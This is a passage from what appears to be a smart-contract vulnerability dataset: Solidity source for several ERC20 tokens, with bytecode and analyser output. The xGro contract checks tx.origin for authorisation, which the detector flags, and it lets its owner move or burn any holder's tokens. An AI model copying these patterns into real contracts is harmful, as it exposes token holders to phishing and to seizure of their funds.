* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract USGB is BurnableToken {
string public constant name = "USGOLDBUYERS";
string public constant symbol = "USGB";
uint public constant decimals = 18;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 1000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a12565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd8565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e69565b6040518082815260200191505060405180910390f35b6103b1610eb2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed6565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f0f565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e3565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112df565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611366565b005b6040518060400160405280600c81526020017f5553474f4c44425559455253000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b590919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a633b9aca000281565b60008111610a1f57600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6b57600080fd5b6000339050610ac282600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1a826001546114b590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610ce9576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7d565b610cfc83826114b590919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f555347420000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4a57600080fd5b610f9c82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103182600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117482600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113be57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c157fe5b818303905092915050565b6000808284019050838110156114de57fe5b809150509291505056fea2646970667358221220c20a276b46d7bc7a9413755b8488692b6e739d012fe64919407fe3ecdfaf7ee964736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,950 |
0xD561d527c04C049aFbDf900F8b0F23226A9c6646 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract xERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
address public immutable owner;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(address _owner, string memory name_, string memory symbol_) {
owner = _owner;
_name = name_;
_symbol = symbol_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract xGro is xERC20 {
uint256 public maxSupply = uint256(100_000_000) * (10 ** uint256(decimals())) ;
constructor(address _owner) xERC20(_owner, 'xGro', 'xGro') {
_mint(_owner, maxSupply);
}
function burn(address target, uint256 amount) external onlyOwner {
require(target != address(0));
_burn(target, amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
require(tx.origin == owner); // Only use this for things that dont have value
require(recipient != address(0));
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(
address source,
address recipient,
uint256 amount
) external override onlyOwner returns (bool) {
require(source != address(0));
require(recipient != address(0));
_transfer(source, recipient, amount);
return true;
}
} | 0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638da5cb5b116100665780638da5cb5b1461011857806395d89b41146101575780639dc29fac1461015f578063a9059cbb14610174578063d5abeb01146101875761009e565b806306fdde03146100a357806318160ddd146100c157806323b872dd146100d3578063313ce567146100f657806370a0823114610105575b600080fd5b6100ab610190565b6040516100b891906106a4565b60405180910390f35b6001545b6040519081526020016100b8565b6100e66100e1366004610640565b610222565b60405190151581526020016100b8565b604051601281526020016100b8565b6100c561011336600461061f565b610294565b61013f7f000000000000000000000000359f4fe841f246a095a82cb26f5819e10a91fe0d81565b6040516001600160a01b0390911681526020016100b8565b6100ab6102b3565b61017261016d36600461067b565b6102c2565b005b6100e661018236600461067b565b610318565b6100c560045481565b60606002805461019f90610726565b80601f01602080910402602001604051908101604052809291908181526020018280546101cb90610726565b80156102185780601f106101ed57610100808354040283529160200191610218565b820191906000526020600020905b8154815290600101906020018083116101fb57829003601f168201915b5050505050905090565b6000336001600160a01b037f000000000000000000000000359f4fe841f246a095a82cb26f5819e10a91fe0d161461025957600080fd5b6001600160a01b03841661026c57600080fd5b6001600160a01b03831661027f57600080fd5b61028a848484610376565b5060019392505050565b6001600160a01b0381166000908152602081905260409020545b919050565b60606003805461019f90610726565b336001600160a01b037f000000000000000000000000359f4fe841f246a095a82cb26f5819e10a91fe0d16146102f757600080fd5b6001600160a01b03821661030a57600080fd5b61031482826104fb565b5050565b6000326001600160a01b037f000000000000000000000000359f4fe841f246a095a82cb26f5819e10a91fe0d161461034f57600080fd5b6001600160a01b03831661036257600080fd5b61036d338484610376565b50600192915050565b6001600160a01b0383166103df5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084015b60405180910390fd5b6001600160a01b0382166104415760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d6565b6001600160a01b038316600090815260208190526040902054818110156104b95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d6565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906104f09084906106f7565b909155505050505050565b6001600160a01b03821661055b5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103d6565b6001600160a01b038216600090815260208190526040902054818110156105cf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103d6565b6001600160a01b03831660009081526020819052604081208383039055600180548492906105fe90849061070f565b9091555050505050565b80356001600160a01b03811681146102ae57600080fd5b600060208284031215610630578081fd5b61063982610608565b9392505050565b600080600060608486031215610654578182fd5b61065d84610608565b925061066b60208501610608565b9150604084013590509250925092565b6000806040838503121561068d578182fd5b61069683610608565b946020939093013593505050565b6000602080835283518082850152825b818110156106d0578581018301518582016040015282016106b4565b818111156106e15783604083870101525b50601f01601f1916929092016040019392505050565b6000821982111561070a5761070a610761565b500190565b60008282101561072157610721610761565b500390565b600181811c9082168061073a57607f821691505b6020821081141561075b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212202c0323822ed824aa5cbb9cd43f304ab66d7b46ae7791d1ebefdd202bfd28392564736f6c63430008030033 | {"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}]}} | 1,951 |
0x9278a2967770cbd357031681f455b500e44c3d84 | pragma solidity 0.5.16;
interface IDparam {
event FeeRateEvent(uint256 feeRate);
event LiquidationLineEvent(uint256 liquidationRate);
event MinMintEvent(uint256 minMint);
function stakeRate() external view returns (uint256);
function liquidationLine() external view returns (uint256);
function feeRate() external view returns (uint256);
function minMint() external view returns (uint256);
function setFeeRate(uint256 _feeRate) external;
function setLiquidationLine(uint256 _liquidationLine) external;
function setMinMint(uint256 _minMint) external;
function isLiquidation(uint256 price) external view returns (bool);
function isNormal(uint256 price) external view returns (bool);
}
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(
msg.sender == nominatedOwner,
"You must be nominated before you can accept ownership"
);
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
require(
msg.sender == owner,
"Only the contract owner may perform this action"
);
_;
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
